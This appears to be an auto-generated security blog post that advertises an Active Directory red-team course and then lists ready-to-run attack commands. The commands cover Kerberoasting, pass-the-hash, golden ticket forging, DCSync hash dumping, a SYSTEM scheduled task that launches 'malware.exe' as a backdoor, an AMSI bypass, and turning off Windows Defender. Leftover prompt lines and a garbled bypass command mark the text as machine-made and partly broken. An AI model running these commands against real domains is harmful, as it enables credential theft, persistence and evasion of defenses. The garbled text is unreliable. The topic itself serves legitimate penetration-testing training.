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This hands-on training enables students to identify and exploit real-world vulnerabilities in a simulated Active Directory (AD) environment. Participants will gain practical experience in:
- Conducting reconnaissance to map and analyze AD infrastructure and trust relationships.
- Gaining initial access across multiple AD forests using various attack vectors.
- Exploiting misconfigurations and weak policies to escalate privileges and control multi-domain environments.
- Applying techniques for persistence, lateral movement, and advanced AD compromise.
- Bypassing defenses such as AMSI, UAC, and constrained delegation.
- Leveraging tools like BloodHound, Mimikatz, and PowerView for enumeration and attack automation.
- Demonstrating end-to-end attack chains from foothold to domain dominance in a red-team-style simulation.
You Should Know: Essential AD Hacking Commands & Techniques
1. Reconnaissance & Enumeration
- LDAP Query for Domain Users:
Get-ADUser -Filter -Properties | Select-Object SamAccountName, DistinguishedName
- BloodHound Data Collection (Sharphound):
Invoke-BloodHound -CollectionMethod All -Domain CONTOSO.COM -ZipFileName recon_data.zip
- PowerView for Trust Discovery:
Get-DomainTrust -Domain CONTOSO.COM
2. Initial Access & Exploitation
- Kerberoasting with Rubeus:
Rubeus.exe kerberoast /outfile:hashes.txt
- Pass-the-Hash with Mimikatz:
sekurlsa::pth /user:Admin /domain:CONTOSO /ntlm:HASHVALUE /run:cmd.exe
- Golden Ticket Attack:
kerberos::golden /user:FAKE_ADMIN /domain:CONTOSO /sid:S-1-5-21-... /krbtgt:HASH /ptt
3. Lateral Movement & Persistence
- Pass-the-Ticket with Mimikatz:
kerberos::ptt C:\temp\admin_ticket.kirbi
- Creating a Scheduled Task for Persistence:
schtasks /create /tn "Backdoor" /tr "C:\malware.exe" /sc hourly /ru SYSTEM
- DCSync Attack (Dumping Hashes):
lsadump::dcsync /user:CONTOSO\krbtgt
4. Defense Evasion
- Bypassing AMSI in PowerShell:
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) - Disabling Windows Defender:
Set-MpPreference -DisableRealtimeMonitoring $true
What Undercode Say
Active Directory remains a prime target for attackers due to misconfigurations and legacy protocols like NTLM. Mastering AD hacking techniques is crucial for both red and blue teams. Always test in controlled environments and ensure proper authorization before performing security assessments.
Expected Output:
A structured, hands-on guide to AD hacking with verified commands and attack methodologies.
URLs (if applicable):
References:
Reported By: Daniel Anyemedu – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
